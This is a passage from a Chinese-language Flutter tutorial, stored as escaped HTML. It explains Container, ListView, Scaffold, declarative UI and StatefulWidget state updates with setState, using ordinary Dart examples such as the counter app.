class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e类似于这个:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;background-color:purple;border-radius:10%;padding:15px\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003exxx\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e实际上 Container 是很多部件的最终实现方式,比如 Card,他就说按照设计规范,设计好背景颜色,边框圆角,背景颜色之类。除此之外,还有强制设定长宽的 SizedBox,强制设定装饰的 DecortatedBox 等,都可以算 Container 的扩展。实际代码中,我直接把上面提到的 Warp 套进 Card 了。\u003c/p\u003e\n\u003cp\u003e最终,我说明一下上面说到的 TagBoxes。代码是这样的:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003epadding:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eEdgeInsets\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efromLTRB\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edecoration:\u003c/span\u003e \u003cspan class=\"n\"\u003eBoxDecoration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003ebackgroundColor\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eborderRadius:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eBorderRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eall\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e)),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etext\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e \u003cspan class=\"n\"\u003eTextStyle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003etextColor\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etextScaleFactor:\u003c/span\u003e \u003cspan class=\"m\"\u003e0.9\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"listview\"\u003eListView\u003c/h3\u003e\n\u003cp\u003e卡片介绍就这样了,在实际情况下,我们会有超级多的记录。根据思维惯性,我们会想让其做成一个可以滚动的菜单。不过不能用 Column,因为单纯的 Column 缺少滚动侦测器,也就是说,我们缺少一个侦测目前该滚动菜单滚动位置的侦测器。所以,我们需要使用 ListView 部件,他默认有一个滚动侦测器。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eListView\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCard\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003exxx\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e......\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e滚动侦测器涉及到接下来要说的状态管理。\u003c/p\u003e\n\u003ch3 id=\"scafford\"\u003eScafford\u003c/h3\u003e\n\u003cp\u003eMaterial 设计的页面部件框架,包括但不限于:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eappBar:上面的导航栏(可以设置标题和右面的小按钮,称为 action)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003etabBar:一个框架的分页,分页内容另有设置\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ebody:页面的主要部分,对于截图是打卡记录\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ebottomNavigationBar:底部的导航栏,对于截图是展示次数以及转换\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"flutter-内部的状态管理\"\u003eFlutter 内部的状态管理\u003c/h2\u003e\n\u003ch3 id=\"声明式编程\"\u003e声明式编程\u003c/h3\u003e\n\u003cp\u003e我先念一段上网找到的定义:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e命令式编程就像它的名字一样,它由开发者我们一步一步的告述计算机,执行一系列的操作,然后得到想要的结果,起主要作用的是开发者,计算机只是帮助开发者执行计算而已。我们日常使用的大多数语言都属于命令式。\u003c/p\u003e\n\u003cp\u003e而声明式编程却与此相反,它不是告述计算机做什么做,而是直接告述计算它想要的结果,至于怎么做,由预先写好的程序依据一定的算法由计算机自动推算出来。这类定义比如 SQL,Vue 的响应式组件。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e官方给了个这个公式:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eUI = f(state)\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eFlutter 部件的构造过程,如这个公式所见,是这样的:\u003c/p\u003e\n\u003cp\u003e我们有一个UI,或者说部件,的构造函数,里面写好了这个部件需要接收,或者监听的状态。我们通过创建,修改这个状态,让程序组建/更新我们的部件。这个状态就是我们希望的结果。这说起来十分拗口,我们上两个例子。\u003c/p\u003e\n\u003ch3 id=\"statefulwidget-内部管理和-setstate\"\u003eStatefulWidget 内部管理和 setstate\u003c/h3\u003e\n\u003cp\u003e之前我们提到的部件,都是 Stateless 部件,也就是说,这个部件的状态不会变,在我们一开始渲染的时候,就写死了。\u003c/p\u003e\n\u003cp\u003e但是,状态有时候是需要更新的。比如说,最开始那个计数器应用,我们需要记下来目前数字是多少,并且我们需要能响应添加和减少。鉴于这个,我们需要引入 StatefulWidget 来实现这个。\u003c/p\u003e\n\u003cp\u003eStatefulWidget 依靠 setState 来刷新部件,我们看一下计数器代码。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:flutter/material.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 所有应用的入口\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003erunApp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMyApp\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这些都是定义框架的\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eMyApp\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eStatelessWidget\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMyApp\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eMaterialApp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Flutter Demo\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etheme:\u003c/span\u003e \u003cspan class=\"n\"\u003eThemeData\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eprimarySwatch:\u003c/span\u003e \u003cspan class=\"n\"\u003eColors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eblue\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ehome:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMyHomePage\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Flutter Demo Home Page\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// StatefulWidget 可以通过输入 stful 来快速生成\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// StatelessWidget 通过输入 stless 来生成\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eMyHomePage\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eStatefulWidget\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMyHomePage\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 所有在 Widget 里面的东西都是 final\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003efinal\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 状态在此生成\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eState\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eMyHomePage\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003ecreateState\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003e_MyHomePageState\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003e_MyHomePageState\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eState\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eMyHomePage\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e_counter\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 注意里面的 setState,他是用来更新部件状态的\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 里面的函数就是状态是如何被更新的了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003e_incrementCounter\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esetState\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e_counter\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 每当 setState 运行,部件状态被更新,这个函数会重新运行\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 更新适应这个状态的部件\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eScaffold\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eappBar:\u003c/span\u003e \u003cspan class=\"n\"\u003eAppBar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebody:\u003c/span\u003e \u003cspan class=\"n\"\u003eCenter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里看不懂,建议看上面的组件\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eColumn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003emainAxisAlignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eMainAxisAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s1\"\u003e\u0026#39;You have pushed the button this many times:\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan 